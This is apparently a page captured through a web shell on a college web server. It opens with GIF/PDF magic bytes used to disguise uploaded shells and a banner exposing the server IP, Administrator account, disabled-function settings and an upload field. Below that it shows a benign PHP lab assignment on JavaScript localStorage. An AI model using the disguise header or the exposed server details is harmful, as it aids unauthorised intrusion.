GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/Labs/Lab07/ |
Upload File : |
<? // JimMartinson/CST1022/Labs/Lab03/Lab03.phpinc $css .= ',colorCode.css'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; } $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate your ability to use JavaScript to manage cookies and local storage. <?=$gradeNote?> <? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol id="main" class="count"> <!-- Step 1 --> <li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li> <!-- Step 2 --> <li class="page"> Create a an html document: <ol> <li>Name the file <b class="copyText"><?=$saveFilename?>.html</b>.</li> <li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li> <li>Add an <span class="highELE">h2</span> element with the content <b class="copyText">Storage</b></li> <li>Add a <span class="highELE">button</span> with an <span class="highATT">onclick</span> that calls the <b class="copyText">ShowLocalStorage()</b> function.</li> <li>Add a <span class="highELE">button</span> with an <span class="highATT">onclick</span> that calls the <b class="copyText">AddLocalStorage()</b> function to add a localStorage item <b class="copyText">ooga</b> with a value of <b class="copyText">booga</b>.</li> <li>Add a <span class="highELE">button</span> with an <span class="highATT">onclick</span> that calls the <b class="copyText">ClearLocalStorage()</b> function to clear the localStorage item <b class="copyText">ooga</b>.</li> <li>Add a <span class="highELE">button</span> with an <span class="highATT">onclick</span> that calls the <b class="copyText">ClearLocalStorage()</b> function to clear all localStorage items.</li> <li>Add a <span class="highELE">button</span> with an <span class="highATT">onclick</span> that calls the <b class="copyText">CreateAndShowUserObject()</b></b> function.</li> <li>Add a <span class="highELE">p</span> (paragraph) element with the <span class="highATT">id</span> set to <span class="highVAL copyText">localStorageItems</span> with no content.</li> <li>Add a <span class="highEL copyText"><script></span> element that calls the <b class="code copyText">_Initialize()</b> function</li> </ol> </li> <!-- Step 3 --> <li class="css">Create a css file. <ol> <li>Name the file <b class="copyText">site.css</b>.</li> <li>Begin it with the <b class="code copyText">@charset "utf-8";</b> line.</li> <li>Add a comment line: <b class="code copyText">/* Main css file for <?=$userFullName?> <?=$evaluationType?> <?=$evaluationNumber?>. */</b></li> <li>Style the <span class="highELE">h1</span> element for a <b class="highCSP copyText">background-color</b> of <b class="highCSV copyText">silver</b> and <b class="highCSP copyText">text-align</b> of <b class="highCSV copyText">center</b></li> <li>Save the site.css file.</li> </ol> </li> <!-- Step 4 --> <li class="js">Create a JavaScript file. <ol> <li>Name the file <b class="copyText">site.js</b>.</li> <li>Begin it with the <b class="code copyText">"use strict";</b> line.</li> <li>Add a comment line: <b class="code copyText">// Main js file for <?=$userFullName?> <?=$evaluationType?> <?=$evaluationNumber?>.</b></li> <li> Create a <b class="copyText">_Initialize()</b> function that: <ol> <li>Set the localStorage item <b class="copyText">firstName</b> with a value of your first name.</li> <li>Set the localStorage item <b class="copyText">lastName</b> with a value of your last name.</li> <li>Call the ShowLocalStorage() function</li> </ol> </li> <li> Create a <b class="copyText">AddLocalStorage()</b> function that: <ol> <li>Takes two parameters <b class="copyText">item</b> and <b class="copyText">value</b>.</li> <li>Sets the localStorage item to the value.</li> </ol> </li> <li> Create a <b class="copyText">ClearLocalStorage()</b> function that: <ol> <li>Takes one parameter <b class="copyText">item</b>.</li> <li>If the item parameter is given, remove the item from localStorage.</li> <li>If the item parameter is not given, remove all localStorage items.</li> </ol> </li> <li> Create a <b class="copyText">CreateAndShowUserObject()</b> function that: <ol> <li>Creates a <b class="copyText">item</b> object with two properties.</li> <li>item.firstName gets it value from the localStorage item firstName.</li> <li>item.lastName gets it value from the localStorage item lastName.</li> <li>Displays the user object in the #localStorageItems paragraph using <b class="copyText">JSON.stringify()</b>.</li> </ol> </li> <li> Create a <b class="copyText">ShowLocalStorage()</b> function that: <ol> <li>Sets the #localStorageItems paragraph innerHTML to <b class="copyText">localStorage = <br></b></li> <li>Loops thru the localStorage items and adds their key and value to the innerHTML, each on a new line.</li> </ol> </li> <li>Save the site.js file.</li> </ol> <b>Test. Test. and then test.</b> </li> <!-- Step 5 --> <!-- Step 6 --> <li>Load your <?=$saveFilename?>.html page. <br><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>.png</b> in your <b><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. <br>Note that all screenshots for this class must be saved in <a href="http://www.libpng.org/pub/png/">Portable Network Graphics</a> (.png) format. <br>Screenshots must also be limited to what was requested. Do not submit entire screens as screenshots unless requested. <br> <div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">See an example:</a></div> <div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide the example.</a> <? include('common/Browser/Browser.phpinc'); BrowserBegin($pageTitle,'file:///'.$courseNumber.'/'.$evaluationName.'/'.$saveFilename.'.html',600); ?> <div style="margin: 5px;"> <h1 style="background-color: silver; text-align: center;"><?=$evaluationType?> <?=$evaluationNumber?> - <?=$userFullName?></h1> <style> .button7 { margin-bottom: .25em; } </style> <h2>Storage</h2> <button class="button7" onClick="return false;">Show localStorage</button> <br> <button class="button7" onClick="return false;">Add localStorage ooga with a value of booga.</button> <br> <button class="button7" onClick="return false;">Clear ooga from localStorage</button> <button class="button7" onClick="return false;">Clear all localStorage</button> <br> <button class="button7" onClick="return false;">Create and show user object</button> <p id="localStorageKeys"> localStorage =<br> firstName: <?=$userFirstName?><br> lastName: <?=$userLastName?><br> </p> </div> <? BrowserEnd(); ?> </div> </li> <!-- Step 7 --> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<? $fileList = array( 'site.css', 'site.js', $saveFilename.'.html', $saveFilename.'.png', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <br><?=$fileName?> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol> <? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?> </fieldset> <? require('../LabNotes.phpinc'); ?> <script src="/js/colorCode.js"></script> <? $PartialGradingCriteria = ' -assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors. No further grading will be done. <table> <tr> <th>Criteria</th> <th class="right">Points</th> </tr> <tr> <td>Correct HTML elements, including: <span class="highELE">!DOCTYPE</span>, <span class="highELE">html</span>, <span class="highELE">head</span> (with required elements), <span class="highELE">body</span>, and <span class="highELE">div</span>s. This includes having the code well formatted.</td> <td class="number">3</td> </tr> <tr> <td>Correct site.css file.</td> <td class="number">1</td> </tr> <tr> <td>Correct site.js file.</td> <td class="number">1</td> </tr> <tr> <th class="right">Total:</th> <th class="number">assignmentPoints</th> </tr> </table> '; require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>